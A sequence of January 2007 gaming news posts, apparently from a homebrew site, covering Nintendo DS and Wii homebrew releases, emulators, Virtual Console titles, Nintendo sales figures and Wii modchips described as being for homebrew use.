I've been working on this for a week or so, picking up stuff about C++ along the way. The code's pretty dirty at the moment (I'd like to think it's at least designed half well, but I won't make that claim yet. ). I wanted to just release this early version so that it would be out there for anyone interested.
You can find some Bible texts here: http://www.o-bible.com/dlb.html
The format is like this:
bookname chapter:verse text
each on its own line. That's all that the reader parses at the moment.
I wanted to be able to get around quickly, so what it does is build an "index" file of a sort. The first time you open a Bible text it will take a little while (there's a little loading text). Both the KJV and BBE versions I linked should work. Hopefully any with similar structure should work as well. Anyways, the first time it will build the index file which should have a .bfo extension. It records the position of the beginning of each chapter in the text file, so getting to any verse involves looking up the file position for the chapter and searching for the verse.
Apparently the BBE version is not working 100%. The file seems to be parsed ok, and it worked the first time (when the index was created), but upon loading it the second time it can't find the text or something. I'll figure it out sometime this weekend probably.
Nick
Features
Indexed browsing
Crappy interface (can only move by verse, chapter, and book, one at a time)
No searching
Doesn't support multiple formats (doesn't even [fully] support the one format it's supposed to )
Links
Bibles: http://www.o-bible.com/dlb.html
Plugin: http://nick.spacek.googlepages.com/dsoBib.dsp
Things to do
New icon (doh, meant to do that!)
Get rid of unnecessary buttons
Loading animation
Thanks DragonMinded for the suggestions!
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January 27th, 2007, 16:45 Posted By: wraggster
Nightfox has released a new game called SpiritsDS, heres the crappy google translation:
Then we are here, making official a project which we initiated days ago already, after seeing the possibilities that offered our flaming DS to us in some possible adaptation of the classic ones that we enjoyed in our young years. We have chosen Spirits de Topo Soft like inspiration source, since in its day it made us spend long hours in front of the MSX in our case and the double screen of the DS offered an excellent possibility for an adaptation inspired by this game.
The Staff for this project is made up by KeyFrame, in charge of the design and drawing of sprites of the game, ToniMax, in charge of the graphs of bottom, Lord Lyron, composer and author of musics and effects of sound and NightFox in charge of the programming and design of the game.
At the moment we have ready part of the motor of the game, the related thing to scroll (if, will have scroll), one first version of the system of collisions, the change of map and the DualScreen system that the pertinent action in each one of the two screens shows to us in time real.
In this phase of the programming, we are using the original graphs of the game to help to develop to a faithful mapedo but the possible thing us to the original one (one authenticates jewel of Awkward person Soft). As the new bottoms are ready and sprites we will be them incorporating to the project.
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January 27th, 2007, 16:56 Posted By: wraggster
Barta`s entry into the Palib Coding Comp
Heres the details:
Hello,
This is my entry for the compo. I made the text orange to meed with the orange theme
It's been tested on Dualis and my M3-lite.
Does anyone remember Valhalla for the Amiga? It was called a speech adventure because the main character talks to you when you instruct him to do something.
This is my port to the DS. It takes a lot of hacking graphics and speech.
This version is far from finished but if I wait till it's finished this competition
is called 'DS coding compo 2010' or something.
In this version you can move around, look at everything, pick up things and drop them back on the floor.
No use of objects or operating levers, yet!
Feel free to wander around, look at things and listen to what your character has to say. The skull in the lower left room talks back
Controls:
Press start at the intro
Moving with the control pad
A look at things, walls, floors, anything
B pick up and put in your ruksack
Select something from your ruksack with the stylus and put it down with the X
The Y lets you toggle between normal mode and invisible mode
In invisible mode you can walk through anything (usefull for testing).
Todo:
- Operate things and use objects
- Find out how to add even more text speech to the game.
It has 144 sounds included, and adding more gives a compile error:
bin/ld.exe: address 0x2406118 of build.elf section .bss is not within region ewram
- Rewrite the map routine. The map is now a huge background scrolling underneath the main character. As the map has to change (opening doors etc.) it's better to use sprites (I think)
BartA
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January 27th, 2007, 17:18 Posted By: wraggster
via IGN
The innovative control system of the Wii has certainly provided developers with the means to offers gamers a whole new gaming experience, but it also allows us to play some old favorites the way we always imagined they should have played in the first place. There may be no better example of a genre where the unique play style of the Wii-mote plus nunchuk combo fits more perfectly more than fighting games, and no discussion of fighting games would be complete without a nod to the classic Mortal Kombat franchise.
At a recent Midway event in Las Vegas, we got a chance to see a pre-taped demonstration of Creative Director Ed Boon in control of the game on Nintendo's Wii console. We also got a chance to talk to Ed a bit about the changes in the Wii version, which you can check out in the most recent edition of IGN Weekly.
"We wanted to make the game so easy your grandmother could play it." -- Ed Boon, Creative Director
While you might think playing a fighting game designed with specific button and thumbstick sequences used to perform complicated fighting combos would be difficult to translate to another type of controller device, from watching the tape, it looked like most of the moves in the game were very intuitive, and were executed exactly how you would expect them to work. For example, to perform Scorpion's famous spear thrust, you pull back the Wii-mote and lash out at your enemies to send your deadly spike plunging into their chest cavities. Likewise, Scorpion's spin kick is performed by twirling the Wii-mote in a circular fashion. As Ed explains, "We wanted to make the game so easy your grandmother could play it."
Of course, dramatic fatality moves have always been a big part of the Mortal Kombat franchise, and the Wii adaptation is no exception. Fatalities will also be performed with the special movement-detection features of the Wii-mote, although they tend to be a bit more complex than the other basic fighting moves. For example, to pull off Scorpion's neck-cracking, sword-slashing fatality ender, you move the Wii-more down twice, left semi-circle, right semi-circle, and end with a slash gesture.
Although you can use the Wii-mote and nunchuk to play the game, purists and fans of standard fighting controls will also be happy to hear that MK: Armageddon also supports the classic controller as well as the GameCube controller on Wii. You can also play using only the Wii-mote.
For the most part, Mortal Kombat: Armageddon will be comparable to its PS2 and Xbox counterparts. However, the Wii version will include a new gameplay type: Endurance. Endurance mode pits you against a continuous series of enemies with no rest between rounds. You won't get any extra health or resets between bouts, so it's up to you to battle as many opponents in a row as possible.
Midway has been onboard with the Wii for a while now as development of the Wii version started shortly after the PS2 and Xbox versions were released last year. The game is nearly complete, and should be released on the Wii this April. Although the game wasn't actually playable at the Midway event, Ed did say they would be bringing a build of the game by for us to play in a few weeks, so we'll have more on Armageddon for you then.
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January 27th, 2007, 21:34 Posted By: gunntims0103
news via wii.vggen
Speaking to Game Informer, Hudson Entertainment's John Lee hinted at the possibility of an original Games Channel for the Nintendo Wii.
When he was asked about Hudson publishing original games on the Virtual Console, he stated: "Well, the VC was specifically designed to bring back classic games, not to introduce new content. So to answer your question specifically: No."
"However, in the future, you should rephrase that question to: Are there any plans to launch original content on some downloadable service on the Wii, and you might get a different answer."
CVG contacted Nintendo regarding the quote, and the company of course responded that it does plan to allow original content to be released via the Wii Shop. Which it naturally should've, since the company confirmed at last year's E3 that original content would be released at some point. It's not surprising that Nintendo would want to separate it from classic titles in some way.
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January 27th, 2007, 21:37 Posted By: gunntims0103
news via forbes
Hong Kong -
Nintendo reported Friday that sales of its new Wii videogame platform have pushed the company's earnings up 43% in the last year.
The results helped Kyoto, Japan-based Nintendo (other-otc: NTDOY - news - people ) hit its 52-week high by closing at 34,150 yen ($281.14) on Friday. Nintendo's shares have climbed 113% in the last year.
Nintendo’s net income topped 131.92 billion yen ($1.1 billion) for the nine months through December 2006, up from 92.19 billion yen ($764.6 million) in 2005, beating a 12-month profit forecast of 120 billion yen ($996 million) for this year.
Much of that increase came from the Wii, the relatively low-priced game machine that Nintendo introduced last fall to compete with Sony's (nyse: SNE - news - people ) PlayStation 3 and Microsoft's (nasdaq: MSFT - news - people ) Xbox 360.
Nintendo’s Wii has outperformed Sony's machine, which debuted at the same time. According to research house NPD Group, Nintendo shipped 1.1 million Wii consoles to the U.S. in November and December, 60% more than shipments of PlayStation 3. In Japan, Nintendo sold nearly 990,000 units in December, more than twice PlayStation3’s sales in two months, according to Tokyo research firm Enterbrain.
Microsoft, meanwhile, lowered its forecast for its Xbox 360 machines, which it began selling at the end of 2005. The company had previously predicted it would sell 13 million to 15 million machines by the end of June. But yesterday Microsoft predicted it would likely sell 12 million consoles by that date.
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January 27th, 2007, 21:39 Posted By: gunntims0103
news via cubed3
Following Cubed³'s intial report of Telltale Games being interested in Wii development, confirmation of it becoming a reality has now emerged.
According to a new update on Telltale Games' website, the company has made headway with Nintendo to become an official developer on the Wii console. The team is now looking for a Wii Systems Programmer who can migrate core components of D3D based PC game engine to the Wii, implement additional platform specific features, modify and support existing art and production path to accommodate Wii production, as well as contribute to the design and direction of Telltale Technology and products.
But what could they be working on? Clearly after all the initial talk of Sam & Max you would hope that it is definitely in the pipeline, and the fact that Telltale also stipulates under the 'Additional Preferred' section of the position that the applicant must have a 'love of adventure games' is certainly a positive sign.
Definitely good news, especially with the comments from Autumn Moon Entertainment's Bill Tiller (another former LucasArts stalwart from when the company worked on numerous adventure titles) in Cubed³'s exclusive interview from late last year: http://www.cubed3.com/news/6275/
Keep it locked to Cubed³ for further developments on this news, plus more...
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January 27th, 2007, 21:43 Posted By: gunntims0103
news via gizmodo
Innovation of the WowWee Robosapien V2 robot continues to flourish, and now you can control this budding robot overlord with a Wii remote. In this seemingly endless preview video, watch just long enough to see the 3.x alpha version of Robodance open-source software linking the Wii to the little guy. In addition to letting you script routines for the robot, this version that will be released next month maps commands from the Robosapien's complex remote to the much easier-to-use Wiimote.
If you do end up watching most of the video, check out the cheesy script where the robot actually tickles Elmo. Sweet. Anyway, Robosapien's no Asimo, but the little guy can do a lot for his $120ish price, and the Wiimote makes his antics nearly effortless to control and even more fun.
-Watch video here
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January 27th, 2007, 21:49 Posted By: gunntims0103
news via wii.vggen
Its been reported that the classic game "Gain Ground" hits the VC for the Nintendo Wii. Price has not yet been confirmed but its expected to be between 500-800 Wii points.
View screens here
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January 28th, 2007, 01:27 Posted By: wraggster
via kotaku
StrapYa, who recently brought us the bizarre combination of Hello Kitty and Space Invaders, are now offering New Super Mario Brothers figures. They come in 5 different styles including Mario, Luigi, a Goombah (Kuriboh), a Koopa (Nokonoko), and a One-up Mushroom. As special bonus, each figure comes with 10 chocolate Mario coins and a base that is either a brick block, question box, or drain pipe. All this can be yours for $18.23 (that includes shipping). Seems rather exorbitant for a 1 inch figure and some leftover Hanukkah gelt, but that's just me.
More Info
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January 28th, 2007, 01:40 Posted By: wraggster
TodoWii are the first site to be testing the Wiinja Modchip for the Wii.
They have posted 6 Screenshots of the Modchip installation.
Check all the screens out via Comments, Video Coming Monday.
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January 28th, 2007, 01:41 Posted By: TeenDev
On Janurary 6th 2006, the final version of WinDS by LiraNuna, Francesco, and Papero was released. These are the results of the 2006 Compo:WinDS Compo 2006
I can't believe people missed it! WinDS is basically Windows for the DS.
Some of the entries included games, an NDS file launcher, and some Demos. I would request that the link to WinDS be updated to the newest Distro at: WinDS2006Compo_Distro.zip
Enjoy!
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January 28th, 2007, 01:49 Posted By: wraggster
News from Lazyone about his Mac emu for Nintendo DS
Thanks again to all those who donated towards the Supercard, now Mini vMac can use the ram on some gba slot cards (Supercard/M3).
Now that it is possible I can include builds for a 4MB configuration but keep in mind that there is a performance hit.
Currently it will run at 8-16fps when using ram in the gba slot, but hopefully there is room for improvement somewhere.
UPDATE:
Thanks to the help of WinterMute on IRC the speed penalty when using external ram is alot smaller with a difference of around 3fps compared to using the main ram.
And finally, a picture of 4MB emulation on hardware (Thanks to RyanFB)
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January 28th, 2007, 01:52 Posted By: wraggster
Okiwi the Homebrew web browser for the DS have posted this FAQ about the application coming soon:
Which flashcarts will the browser work with?
I've not handled FAT libraries subject yet, so what I've done till now should work with all of them. I plan to use Chishm's DLDI, so compatibility will be determined by its support of the different devices.
Why do you ignore comments that users leave in the blog?
I don't ignore them. The only thing is that I haven't enough time to answer one by one. That's the reason whay I make this little FAQ answering the questions you leave in the comments and some other inquietudes you pose in some forums.
Why do you take so long to make a keyboard, when PALib would make the workload lighter?
Because I'm not using PALib. I code by means of libnds. The keyboard is dinamically built using the GUI (Graphical User Interface) module.
At least you should be getting a nice result.
It's current appearance, not definitive, is this:
Soon I will talk about the keyboard more in deep.
When will the demo be ready?
More than a demo, it will be an alpha version (in development stage). I had sense to name it like that since it's going to be a demonstration of what's done till now, which doesn't mean that the software is so advanced to consider it a beta.
And, answering the question, I expect to finish it in two weeks or so. Realize that from that point there is less work to do than it's done yet. I also feel like Okiwi is finished.
What will the demo include?
Saying with more detail what I said in last post, it will be something like a browser test version which doesn't connect to the netwok. Therefore, I will display a document that will allow to demonstrate some rendering engine features, to get an idea.
Doesn't it connect to the network?!
I must follow some order, and I've decided to include network functionality when the rest of the modules reach a quite mature status.
How is going the software to be distributed? (Or, by now, the demo.)
The answer I gave in the first FAQ is still valid: as soon as there are files to download, links to them will appear at this web.
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January 28th, 2007, 17:50 Posted By: wraggster
AJ has posted a release of Mii Editor, heres the details:
AJ's Mii Editor is a program designed for editing Miis that are dumped via the MiiTransfer utility.
It used to be known as Mii Editor for all of five minutes before I found out that there is an online Mii Editor called Mii Editor.
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January 29th, 2007, 02:15 Posted By: wraggster
via engadget
This isn't the first bulk sale of hundreds of retro games on eBay, and it certainly won't be the last, but that doesn't mean we're not impressed by the completeness of this particular collection. Currently the bidding is at an impressive $5,200 with just over 6 days to go, which isn't surprising considering what's included: 670 NES games, which the seller claims constitutes "every game ever made" for the Nintendo Entertainment System. If achieving your childhood dream of owning, we repeat, every NES game ever made, isn't enough for you, then you'll no doubt explode when you see that ROB the robot, a Power Glove, a multitude of other accessories, and that essential NES console are all part of the deal. When you wake up in a couple of hours -- after you finish reading this post you'll pass out due to an overwhelming wave of nostalgia, trust us -- you better cross your fingers and check this post's comment's section in the hope that someone has found a flaw in the deal, otherwise you'll be forever jealous of the winner.
More Info
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January 29th, 2007, 02:25 Posted By: wraggster
Agentq has released a new version of ScummVM for the Nintendo DS, heres the release info:
Hi,
Here's a new beta.
Not much is new, but the DLDI interface should allow most card readers to work.
New in this version:
* Removed all card reader drivers and added DLDI interface
* Fixed bug where the CD Audio wasn't looping
Instructions on how to use DLDI are included in the README_DLDI.TXT file.
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January 29th, 2007, 02:29 Posted By: wraggster
A new release of WiiCR has happenned today, heres the info and whats new:
WiiCR is a media player solution for the Nintendo Wii. It acts as a streaming media server and is capable of transcoding nearly any video file to a suitable flv for an embedded flash player. It allows browsing of the remote filesystem to view: videos (avi/xvid/divx/mpeg/wmv/etc), text files, jpg's and play mp3s.
0.3.1.10 release
sorry for the delay in the release, but I caught a bug with the mp3 pls generation, now sorted.
sorted mp3 player not loading files with unfriendly characters.
included shoutcast.tpl in icons1 (due to shifting shoutcast to a tpl automatic redirection will not work when u add a new mp3, simply click back then click on the mp3 player icon.
Testers needed
We need some video testers to go through and find several working combinations of encoder settings that play nicely on the Wii.
Download Here --> http://wmc.sourceforge.net/wiki/index.php/WiiCR
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January 29th, 2007, 02:37 Posted By: wraggster
Noda has released a new version of his DS game of the Mod Tower Defense for Warcraft 3.
Heres some screens:
Heres the game info
Here is the new promised version. Some new features here, and as announced, it supports DLDI so M3 Simply/R4/SC DS may now enjoy it
This version will be my entry for the DS Dev Compo.
PS: Note that all bugs stated in the previous post may have not been corrected, as I’m still searching a solution for some.
__
Changelog :
-28/01/2007 : v0.3 beta
+ now use latest libfat with DLDI support
= corrected a bug in the file filter, now FAT version works without having to rename
the maps
= fixed the missing border of some icons
= temporary workaround for solving the screwed up sprites problem
+ added a new bunch of great 3rd party maps
= corrected some bugs in the “Save The Snowman” map
= corrected tower collision map in the “Long Walk TD” map
+ added a circle around the current selection
+ new map: Orange Frenzy
.
Warcraft arrives on DS via Homebrew
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DIGG THIS
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January 29th, 2007, 02:42 Posted By: wraggster
Via Ketchup site comes a new MSX Emulator for the Nintendo DS:
Heres the translated info:
PenkoDS?
PenkoDS is an emulator MSX2 for Nintendo DS. It is based on fmsx of Marat Fayzullin.
The speed of emulation is currently 75% on average (either about 30 to 40% faster than the port fmsx of nyagosu of which I took again the management of the keyboard and the joystick).
Among the functionalities, one finds:
- A resize mode to manage the various resolutions of the MSX.
- Support DLDI
- Support of the roms and the discs
- Management of the sound (with the same problems as under CrocoDS)
Level use, it is enough for you to copy the Romanian one in the root or the /rom/msx repertory of your chart flash, patcher the nds with patchor DLDI and of launching this homebrew from your Nintendo DS
To test with the version msx bombjack of Kralizec or with one of the releases of the MSXDEV' 06.
One of the large bugs current is the impossibility of rebooter after the insertion of a disc MSX. (On the other hand, not of problem of reboot with the roms). This version is a version alpha, therefore I await all your remarks in order to improve it.
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January 29th, 2007, 02:47 Posted By: wraggster
RyanB posted a great app for GBA Homebrew on your DS, heres the news from him:
With Slot-1 DS flash carts, you sometimes want to boot a GBA cart in Slot-2. There’s probably something already out there for this, but I couldn’t find one so I made a small and simple GBA mode switcher. It uses the setting you’ve selected in your DS firmware to determine which screen to run on. This is probably the shortest DS code I’ll ever write, so source is included in this post.
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January 29th, 2007, 02:57 Posted By: wraggster
Bodom Child has released a new version of his excellent looking RPG game for the Nintendo DS, check out the screenshot above and get downloading.
Arcomage is a Heroic Fantasy card game, which made its first appearance in the PC game Might & Magic VII, as a game side quest which was practised in the various taverns of the game.
Being fan of this game since I've played Might & Magic VII, I decided to adapt it on DS.
The first version was presented to the Neoflash compo, it was a little buggy and didn't have a 2 player hotseat mode.
The PALib compo is consequently a good event to present the new version 0.99.
What's new?
All knowns bugs have been fixed (if some of them are still hidden somewhere, tell please me )
2 Players mode (hotseat) is available.
A new "Premium" card has been added : Orange Power. It's rather powerful.
Towers and wall are a little redone.
New "orange" sky. I think it's more beautiful than its predecessor.
Menu has been remade.
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January 29th, 2007, 17:02 Posted By: wraggster
US Wii owners will be able to download the classic N64 racer Mario Kart 64 from the US Virtual Console this morning, joining the Europeans who got the game in their Wii Shop last Friday.
CVG has already reviewed the UK version, which received a number of performance tweaks for the Wii with the removal of the ugly PAL borders being the main improvement. That won't be a problem for the US however, where the original NTSC N64 game ran full screen and full speed.
Mario Kart 64 costs 1000 Wii Points which is $10 for you lucky US residents, and around £7.50 for rip-off UK.
via cvg
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January 29th, 2007, 17:04 Posted By: wraggster
The Legend Of Zelda: Ocarina of Time has been given a release date and price for Nintendo's Virtual Console in Japan.
And it's the most expensive VC game yet! According to Ninteno's Japanese website the world's best game (in my opinion, anyway) will set you back 1200 Wii Points, which is about nine quid by our reckoning.
N64 games usually cost about 1000 Wii Points - like the recently released Mario Kart 64 - but Ocarina looks set to break the mould ("and they shouldn't do that," says CVG's Nintendo boss Mike Jackson).
The N64 classic is also due for launch in Japan next month. We believe that Ocarina is due for a VC release in late February. While you wait why don't you whip out the N64 (or GameCube version) and get stuck in. Cheaper than buying it all over again.
via cvg
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January 29th, 2007, 17:06 Posted By: wraggster
One of the most violent games of the past generation of consoles, Scarface: The World is Yours, is making it's way to the mostly family-orientated Wii this year.
The port, which was confirmed in the latest issue of NGamer, will come with the obvious controller enhancements, using the Wii Remote like a gun to manually target enemies.
You will also get to fist fight enemies (random passer-bys if you please) with motion control, or use the Remote to mangle people with a chainsaw while the sound of the engine revs from the speaker in the Remote.
There'll be no shortage of gangster games on Wii by the end of the year, with Godfather confirmed and Driver: Parallel Lines tipped to be on the way too. The only problem - we played them all to death on Xbox last year.
Scarface will release on Wii later this year. Check back later for a more accurate release date.
via cvg
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January 29th, 2007, 17:30 Posted By: JKKDARK
New builds from the Nintendo DS emulator for PC.
These builds are to be considered work-in-progress builds and do not represent any official releases. These builds are compiled using Microsoft Visual C++ 2005 with all optimizations enabled and buffer overrun checks disabled. Use of these builds is at your own risk and are provided for intended use by testers only. If you do not feel comfortable with test software on your computer, please do not use these WIP builds. Report all bugs to the official DeSmuME forums linked from the official page. Please do not ask when new WIP builds will be available or when XX game will be supported.
January 27, 2007 Build
- Compiled without SSE2 Extensions (negligible difference)
- Slight CPU fixes
- Includes Save State support (Requires zlib1.dll - see below)
January 26, 2007 Build
- Initial WIP Release
- Changes from 0.5.0:
- Various ARM CPU fixes
- Preliminary WiFi support
- Various Graphical Fixes
- Window Stretching (1x-4x)
- Optimizations to Improve Speed
ZLIB1.DLL - Required for all builds January 27 and later
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January 29th, 2007, 18:55 Posted By: wraggster
via cvg
It's been heavily tipped for weeks, and now Driver: Parallel Lines is finally confirmed to be on its way to Wii - and the PC, too.
It's not yet been revealed if the game will contain any new features other than the obvious controller adaptations to the Wii version, but we speculate similar motion-controlled melee and Remote-pointing gun combat systems similar to Scarface, also confirmed for Wii earlier today.
The latest Ubisoft release schedule confirms both the PC and Wii versions of Parallel Lines are due out on March 30. Check back for full previews in the next week or two.
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January 29th, 2007, 20:45 Posted By: wraggster
via gamesradar
Disney's Spectrobes game for DS will bring together the worlds of Pokemon-style collect-'em-all gameplay and Panini sticker-esque trade-'em-all fervour in a heady mix of addiction when it launches on 16 March. Each game pack will include four lenticular cards, which will unlock special bits and pieces in the game, and more will be available after the game's release so Spectrobes fans can play swapsies.
The four cards work by laying them over the DS touch-screen. There's a series of holes in each card and, by tapping through them to the screen beneath in the right order, you'll unlock special creatures and minerals.
With the ability to earn your own Spectrobes patrol badge for display on the official website, downloadable creatures and minerals, and wireless multiplayer battles, in addition to the card-trading, Spectrobes looks sure to enthral hoarders and obsessive gamers alike. We'll be dealing out a review in the next few weeks.
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January 29th, 2007, 20:49 Posted By: wraggster
Nintendo just sent out their weekly Wii-kly update, detailing the four new classics hitting the Wii's virtual console today. Here's the run down:
Mario Kart 64(TM) (Nintendo(R) 64, 1-4 players, 1,000 Wii Points): Put the pedal to the metal in this worthy successor to the Super NES(R) classic, Super Mario Kart(R). Mario Kart 64 boasts great graphics, tons of unique power-ups and a stunning 3-D version of the legendary Battle Mode. With improved courses and a revolutionary head-to-head four-player mode, Mario Kart 64 is sure to win the heart of any race-driving fan. The game includes 20 different courses filled with dips, valleys, jumps, tunnels and bridges. Smooth, precise control -- a trademark of all games from Mario creator Shigeru Miyamoto -- will bring players back time and time again for freewheeling fun.
Contra(R) III: The Alien Wars(TM) (Super NES(R), 1-2 players, 800 Wii Points): In the year 2636, the Alien War continues, and it's up to two soldiers, Jimbo and Scully, to put a stop to the alien invasion. The aliens have ravaged the Earth with their powerful organic and technological weapons. Players can join with a partner and battle through six stages of nonstoprun-and-gun action. Collect power-ups, including bombs, flamethrowers, spread shots, lasers and machine guns to take out the aliens. Control Jimbo and Scully as they travel through war-torn cities, race on air bikes, ride missiles and ultimately break into the alien base to defeat the alien boss once and for all.
Bonanza Bros.(TM) (Sega Genesis, 1-2 players, 800 Wii Points): Mobo and Robo Bonanza are enjoying their favorite television show when the picture crackles and the shadowy figure of a mysterious stranger appears on the screen. This figure asks them to collect certain items that he has placed inside various buildings to test his security force. If they return the items successfully, Mobo and Robo will be rewarded. The two of them state that they will get the job done in just three minutes. However, little do they know that each building is packed with security guards who will raise the alarm if they are caught red-handed. Fortunately both Mobo and Robo are equipped with bullets that can knock the guards unconscious for a few seconds. A huge reward will be given out if Mobo and Robo are apprehended. Help the infamous Bonanza Bros. infiltrate a number of different locations ranging from banks to mansions to casinos, and don't get caught.
Comix Zone(TM) (Sega Genesis, 1 player, 800 Wii Points): Sketch Turner is an artist in New York City. One day while Sketch is drawing, a huge thunderstorm strikes the city. A bolt of lightning hits Sketch's image and brings it to life. That image is Mortus, a megalomaniacal mutant who wants to become real and rule the earth. Mortus magically transports Sketch into the pages of his comic book so that he can end his creator's life and become real. Inside the comic book, Sketch meets General Alissa Cyan, who believes he is a superhero that came to save their post-apocalyptic world from the evil brought by Mortus's hand. Now that he's a comic book superhero, Sketch can really put the hurt on the bad guys. Instantly, Sketch can fight like a one-man mercenary platoon.
Damn the lack of online gameplay. Damn it to hell.
via kotaku
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January 29th, 2007, 20:55 Posted By: wraggster
via joystiq
GameDrift (whom we've never heard of) claims an anonymous Nintendo rep told them over the weekend that new Wii colors are coming this year. As you can imagine, details were sparse, but the tipster claims red and black are in the bag for sure and that we can expect those two -- in addition to others -- by the end of the year.
New colors for Wii were never a question of "if," only "when." After all, Nintendo released the promotional image the same day they unveiled what was then called the Revolution at E3 2005. But it's unlikely such a small site has a mole deep within Kyoto or Redmond headquarters and their quick use of "confirmed" doesn't help their credibility either. Still, one can hope for Puke Green later this year, right?
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January 29th, 2007, 21:43 Posted By: wraggster
Another modchip is to be released later this week/next week called the CycloWiz, unlike the Wiinja modchip (from what we are told) this mod has support for Gamecube Homebrew on the Nintendo Wii, no more messing around with SD loaders etc. Yet again this Chip doesnt make the Wii region free.
Now DCEmu is only interested in Modchips for Homebrew Purposes, we are not at all interested in piracy, however if modchips are the only way to get homebrew on the Wii we will post all news that refers to homebrew.
More details as they come in
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January 29th, 2007, 22:27 Posted By: wraggster
Emu_Kidid has released a new build of the Gamecube Operating System (GCOS) that supports the Wiinja Wii Modchip, now you can use this to play your favourite Gamecube Homebrew on the Wii.
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as always homebrew discussion only
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January 30th, 2007, 00:57 Posted By: wraggster
via dsfanboy
Available from ThinkGeek for the small price of $8.99 USD, these exact recreations of their 80's counterparts look to be worth every penny. Obviously the Donkey Kong game has Mario leaping over barrels to rescue his damsel in distress, whilst Link must navigate complex dungeons in Legend of Zelda. These also keep excellent time!
So who else plans on picking this up with us?
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January 30th, 2007, 00:59 Posted By: wraggster
via dsfanboy
All sorts of assets in the form of screens and concept art have popped up over at IT Media for the highly-anticipated Final Fantasy XII: Revenant Wings. With several shots taken from in-game, as well as the concept art, we find ourselves honestly frightened. Not frightened at the prospect of where the game is going, mind you, but scared that this is the new cactuar design. It very well could not be, since Google translation isn't always accurate, however it's enough to cause us concern.
More Info
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January 30th, 2007, 01:09 Posted By: wraggster
via TamaSurvivor
TamaSurvivor is a Pang (or SuperPang) “clone” (please note the quotes). This is a demo version, the main features works, like menu, pause, highscores(save them too!!),…
Graphics are 100% and gameplay will be similar (yeah, we’ll new cool features), but an image is better than words :Features :
- 100% original graphic content (no sprites were ripped during this game)
- 9 differents levels (at this demo)
- The game pauses when you close the Nintendo DS
- Bonus items (a coin i mean)
- 4 differents types of “attack”
- Ectoplasma-shield () with a lot of alphablending
- Supespinning death animation
- A lot of innecesary blood (oh, not really, there isn’t blood in this game - yet)
- Blocks with surprises inside (yeah, kill ‘em!)
- Save Highscores
- Some rustic ladders
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January 30th, 2007, 01:23 Posted By: wraggster
News from the CnC DS Site of the continuation of the Command And Conquer DS Clone Project:
I’ve been thinking about some issues with the game, including legality. The old plan was to release the game with just the engine and a bunch of convertors that will take the stuff the game needs from your genuine C&C CDs. Now I think I will change the release plan a little and create a further seperation between the game engine and C&C.
I’ll release the game engine with an mini RTS that is either original in design or uses royalty free assets. Maybe just a couple of maps, handful of units and that’s it. The tools to do the C&C conversion will be released seperately but at the same time, almost as a seperate project. This makes a clear divide between the engine and the content. If the owners of the C&C IP want to stop the project then it will be the conversion tools that will be stopped and not the generic RTS engine.
It will also help modders see how the RTS mini-mod works and how the mod generated from the C&C mod works if they want to make their own. In fact anyone who wants to get involved in working on the mini-mod right now just say in the forum. Don’t worry though! I’m still 110% committed to seeing C&C on the DS!
Hmmm I guess this means also that the RTS engine will need a name… any ideas?
Heres the second newspost of the day
I’ve started to add the weapon system to the game, based around the concept of Turrets and Guns. A unit or building can have a turret mounted on it, which can have one or more guns mounted on that. The turrets can optionally have graphics (such as a tank turret) or be invisible (like the advanced guard tower missile launcher). The ‘guns’ on the turrets are where the projectiles are created (such as the end of the two barrels on the mammoth tank and the two missile launchers on the side). I think this will be flexible enough for any C&C unit and for many more unit types from other RTSs.
The turrets don’t fire yet, I’m now working on different projectile types (from bullets to lasers, missiles to bombs etc) and the different types of damage they cause, and also different armour types. This area is a little more involved than I’d first anticipated so I think a couple more days before the first projectile type is firing away happily.
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January 30th, 2007, 01:30 Posted By: wraggster
via ign
The dawning of a new day can only mean one thing - another developer has expressed an interest in creating titles for Nintendo's motion-sensing machine, this time the honor going to Telltale Games, the current developers of the Sam & Max titles.
In an advert on the developer's website it's revealed the company has an "immediate opening" for a Wii programmer, who would be responsible for "implementing our core 3D graphics and audio systems on the Wii."
However, a spokesperson for the company was quick to shoot down rumours of Sam & Max making it onto Wii. "We haven't made any announcements about why we're hiring a Wii developer and we really really haven't said that we're working on a Sam & Max game for the Wii", explained an official post on Telltale's forums. "If we do such a thing, you guys will be the first to hear about it, surrounded by 800 gigantic trumpets and probably some cherubs or something. But as of right now, you're talking crazy talk."
800 gigantic trumpets and cherubs? We're not the ones spouting trash...
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January 30th, 2007, 02:10 Posted By: wraggster
Freemaans entry in the Palib compo:
Heres whats new:
An IRC client for Nintendo DS.
0.3c ORANGE EDITION [2007.01.28] - support colors, fixed a lot bugs, some improvements, DLDI support
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January 30th, 2007, 02:14 Posted By: wraggster
New from psychowood
Hi all,
I've spent some hours developing a little and useful (at least for me, and I hope for someone else too ) tool to apply a DLDI patch on homebrew roms. It is for Windows (XP/2k/NT), is different from the patchers already available because uses Chishm's dlditool to patch via right clicking the rom. No GUI, no command prompt. Two clicks, that's all.
If you use more than one flashcard, you can install more than one DLDI driver, and you'll have every single choice available in the context menu.
It is based on Chishm's dlditool 1.21 and on the DLDI
drivers available in his site. It integrates
itself in the Windows OS in the context menu of .nds
files (with a right click), and it seems to work rather
well
Changelog:
v0.1
First public version, testes more or less deeply on
Windows XP, should work as well on Windows 2000 and NT
(it is note tested, and probably not working, on Win98
and WinMe).
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January 30th, 2007, 02:22 Posted By: wraggster
New release from Mastertop101:
FEATURES :
1. Binary Clock
2. Alarm Clock with selectable music (3 musics)
3.Screens' lights close by closing the DS
4. 2 modes : 24hours and am/pm mode (the 12 hours mode), touch the icon to change
5. Displays date (day/month/year)
INSTRUCTIONS :
To set alarm :
Touch the clock and follow instructions..
To read the time :
1st column is the number of ten-hours, 2nd is hours, 3rd is ten-minutes, 4th is minutes, 5th is ten-seconds, 6th is seconds
Read the time by the bottom, if the 1st "orange" (by the bottom) is lit, it means there is 2^0 (1) of hour for example, if both 1st and 2nd are lit, you add 2^0 (1) + 2^1 (2) = 3. You do this for each column, with some pratice it will become very fast.
To select the music that will wake you up :
Touch the music note and follow instructions..
COMPATIBILITY :
It should work with anything.
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January 30th, 2007, 02:27 Posted By: wraggster
New release from Justin for Palib compo
Just dodge the other balls flying around and try to stay alive and nab the stars...
Star effects
Blue stars - 10 points and refill half of slow motion
Red stars - refill slow motion
Green stars - destroy all enemies on screen and refill half of slow motion
Orange stars - the super effect get this and you will become invincible for a short while and flash orange. Half of your slow motion is also refilled.
Options
physics - on things glide around (astroids style), off they don't
players - one or two. If it's two then one person uses the x,y,a,b to move
control - stylus you use the stylus on the bottom screen d pad you use that
Controls
